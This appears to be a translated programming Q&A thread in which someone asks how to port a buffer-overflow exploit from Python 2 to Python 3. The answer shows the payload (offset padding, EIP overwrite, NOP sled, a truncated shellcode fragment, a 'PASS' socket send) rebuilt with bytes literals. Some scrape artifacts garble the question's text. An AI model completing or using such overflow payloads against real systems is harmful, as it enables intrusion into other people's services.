Python3中的开发

2024-10-04 15:27:15 发布

您现在位置:Python中文网/ 问答频道 /正文

我意识到python3的漏洞开发并不像使用python2那样直接。在

据我所知,这主要是由于socket库和添加的byte数据类型造成的。在

例如,我不知道如何将以下代码转换为Python 3代码:

--- SNIP ---
shellcode =  ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16 
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}\r\n".format(buff))
--- SNIP ---

我尝试了以下方法:

^{pr2}$

问题是\x90在内存中变成了{},我花了好几个小时才发现问题来自我的代码。我也怀疑这也会改变外壳代码。在

我想学习在Python中正确地执行此操作的方法


Tags: 方法代码snipnoppython3buffoffsetpadding
1条回答
网友
1楼 · 发布于 2024-10-04 15:27:15

python2代码基本上构建了一个字节字符串。在python3中,'...'字符串文本将构建Unicode字符串对象。在

在Python3中,您需要bytes对象,可以使用b'...'字节字符串文本来创建:

#  - SNIP  -
shellcode =  b""
shellcode += b"\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
#  - SNIP  -
offset = b"A" * 2606
eip = b"\x43\x62\x4b\x5f"
nop = b"\x90" * 16 
padding = b"C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
#  - SNIP  -
bytes_sent = sock.send(b"PASS %s\r\n" % buff)
#  - SNIP  -

bytes没有.format()方法,但%格式化操作仍然可用。在

相关问题 更多 >

    热门问题